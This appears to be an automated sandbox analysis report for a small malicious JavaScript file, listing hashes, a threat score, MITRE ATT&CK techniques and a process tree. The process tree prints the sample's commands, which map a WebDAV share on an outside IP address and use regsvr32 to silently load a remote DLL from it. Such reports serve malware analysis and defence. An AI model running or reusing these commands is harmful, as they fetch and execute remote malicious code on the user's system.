f8557115f1f413b44d095f54b3c233849a725592e7544ac619c538d66b551fb5

Analysis

max time kernel
149s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
09/07/2024, 00:24

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General

Target

1606126871545519896.js
Size

5KB
MD5

20811053ad5eb527f4bbf9a31f654f69
SHA1

a6002419219cdf654901b8b97af405423ac66d43
SHA256

f8557115f1f413b44d095f54b3c233849a725592e7544ac619c538d66b551fb5
SHA512

7c580b34e87382a533be543bcd632806ce6c88a29282dd44b9bd8ad6134bc60b85aad1507d4aa830d22cafaa8dfa49ff11bdbd484a4de82589ee24a2b60285b8
SSDEEP

96:nifr0wGRop+BHbZeWNMdwfj1tPdwhjKPrfGzxFfks:ifJG68BHNVNMdwfj1tPdwhjKPSzxFfks

Score

7^/10

execution

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3642458265-1901903390-453309326-1000\Control Panel\International\Geo\Nation	wscript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1992 wrote to memory of 3944	1992	wscript.exe	84
PID 1992 wrote to memory of 3944	1992	wscript.exe	84
PID 3944 wrote to memory of 1616	3944	cmd.exe	87
PID 3944 wrote to memory of 1616	3944	cmd.exe	87
PID 3944 wrote to memory of 1924	3944	cmd.exe	88
PID 3944 wrote to memory of 1924	3944	cmd.exe	88

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1606126871545519896.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1606126871545519896.js" "C:\Users\Admin\\gxkjvc.bat" && "C:\Users\Admin\\gxkjvc.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3944
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:1616
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\639.dll
    3⤵
    PID:1924

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\gxkjvc.bat

Filesize
5KB

MD5
20811053ad5eb527f4bbf9a31f654f69

SHA1
a6002419219cdf654901b8b97af405423ac66d43

SHA256
f8557115f1f413b44d095f54b3c233849a725592e7544ac619c538d66b551fb5

SHA512
7c580b34e87382a533be543bcd632806ce6c88a29282dd44b9bd8ad6134bc60b85aad1507d4aa830d22cafaa8dfa49ff11bdbd484a4de82589ee24a2b60285b8

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